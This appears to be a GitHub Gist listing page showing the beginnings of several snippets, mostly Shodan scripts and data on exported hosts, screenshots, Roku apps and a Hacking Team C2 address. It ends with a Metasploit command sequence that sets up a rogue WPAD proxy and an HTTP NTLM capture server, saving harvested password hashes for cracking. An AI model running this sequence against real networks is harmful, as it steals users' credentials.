Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/python
'''
Python 3.5 compatible
This will create a comma delimited file
it requires you to have a GeoIP2-City database from MaxMind.
https://www.maxmind.com/en/geoip2-databases
https://www.maxmind.com/en/geolite2-developer-package
If you do not wish to purchase this you can comment out the GeoDB class
and use the ShodanNode class. You will also need to remove the code for
any of the MaxMind variable and keys
@achillean
achillean / hacking-team-c2.json
Created March 1, 2016 02:10
Hacking Team C2 History: 212.71.254.212
{
"region_code": null,
"ip": 3561488084,
"area_code": null,
"latitude": 51.5,
"hostnames": ["li635-212.members.linode.com"],
"postal_code": null,
"dma_code": null,
"country_code": "GB",
"org": "Linode",
@achillean
achillean / roku-apps.csv
Last active February 1, 2025 12:32
Ranking of Most Popular Roku Apps based on Shodan (https://www.shodan.io)
Netflix 863
Roku Home News 767
Amazon Video 733
Movie Store and TV Store 717
Hulu 694
HBO Now 683
Showtime 678
VUDU 633
Pandora 569
YouTube 550
@achillean
achillean / dump-images.py
Created January 17, 2016 21:56
Shodan script to parse out screenshot data from banners and store it in a separate directory.
#!/usr/bin/env python
# dump-images.py
#
# Extract all the image data from the banners and store them as separate images
# in a provided output directory.
#
# Example:
# shodan download --limit -1 screenshots.json.gz has_screenshot:true
# ./dump-images.py screenshots.json.gz images/
@achillean
achillean / gifcreator.py
Last active December 15, 2021 21:17
Create GIFs from a Shodan json.gz file using the API
#!/usr/bin/env python
# Dependencies:
# - arrow
# - shodan
# - ImageMagick
#
# Installation:
# sudo easy_install arrow shodan
# sudo apt-get install imagemagick
#
@achillean
achillean / export-hosts.py
Created December 9, 2015 02:26
Read a Shodan JSON file and print out the full host information.
#!/usr/bin/env python
#
# export_hosts.py <export.json.gz>
#
import gzip
import shodan
import simplejson
import sys
@byt3bl33d3r
byt3bl33d3r / shodan_getuphosts.py
Created November 10, 2015 21:43
Get up hosts using Shodan! Takes as input a comma separated subnet list
import shodan
import sys
from shodan import APIError
from netaddr import IPNetwork
SHODAN_API_KEY= 'APIKEY'
api = shodan.Shodan(SHODAN_API_KEY)
targets = map(IPNetwork, sys.argv[1].split(','))
@achillean
achillean / roku-apps-versions.csv
Created July 27, 2015 02:51
List of Installed Roku channels
Al Jazeera English 0.0.0 4
Always Summer 1.0.1 2
planeta iptv 1.1.2 8
Skitter TV 2.5.0 4
Andrew Wommack Ministries 1.0.1 1
Syfy 1.0.24 187
Oikos Church 1.0.1 1
ctn 45 tv 1.0.2 1
Target Ticket 1.0.3708 422
Target Ticket 1.0.3707 4
@achillean
achillean / roku-apps.csv
Created July 27, 2015 02:42
Installed Roku Applications
Netflix 1583
Amazon Instant Video 1402
Roku Home News 1352
Hulu Plus 1339
Movie Store and TV Store 1210
VUDU 1125
Pandora 1113
YouTube 979
Crackle 933
Blockbuster 794
use auxiliary/server/wpad
set PROXY x.x.x.x
run
use auxiliary/server/capture/http_ntlm
set CAINPWFILE /root/cain.http.pw
set JOHNPWFILE /root/john.http.pw
set URIPATH /
set SRVPORT 80
run